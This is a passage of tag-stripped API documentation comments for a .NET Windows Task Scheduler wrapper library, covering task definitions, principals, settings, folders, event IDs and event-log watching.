task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the author of the task, and + the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + if set to true throws an with details about unsupported properties in the Data property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + if set to true throw a with details about invalid properties. + true if current is valid; false if not. + + + Gets the lowest supported version. + The output list. + + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting this property to + something other than a null or empty string, will set the property to NULL and will set the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property to something other + than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security context for the + tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + The property is set and the is read-only. + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This + method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a description of the task, the + author of the task, the date the task is registered, and the security descriptor of the task. + + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in Windows 8, many of the + native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is specified for this + property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value of 1 second indicates + the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a trigger is specified by the + EndBoundary property of all trigger types. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote Applications Integrated + Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not be terminated if it + exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + Gets or sets an XML-formatted definition of the task settings. + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable property of + ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run only if the specified network + profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + + Contains all the tasks that are registered. + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. This has been removed so that it is consistent with V2. + + + + Releases all resources used by this class. + + + + + Gets the collection enumerator for the register task collection. + + An for this collection. + + + + Internal constructor + + TaskService instance + The filter. + + + + Retrieves the current task. See for more information. + + + + + Releases all resources used by this class. + + + + + Moves to the next task. See MoveNext for more information. + + true if next task found, false if no more tasks. + + + + Reset task enumeration. See Reset for more information. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets or sets the regular expression filter for task names. + + The regular expression filter. + + + + Gets the specified registered task from the collection. + + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + + Gets the named registered task from the collection. + + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + + Determines whether the specified task exists. + + The name of the task. + true if task exists; otherwise, false. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Collection of running tasks. + + + + + Releases all resources used by this class. + + + + + Gets an IEnumerator instance for this collection. + + An enumerator. + + + + Releases all resources used by this class. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets the specified running task from the collection. + + The index of the running task to be retrieved. + A instance. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. 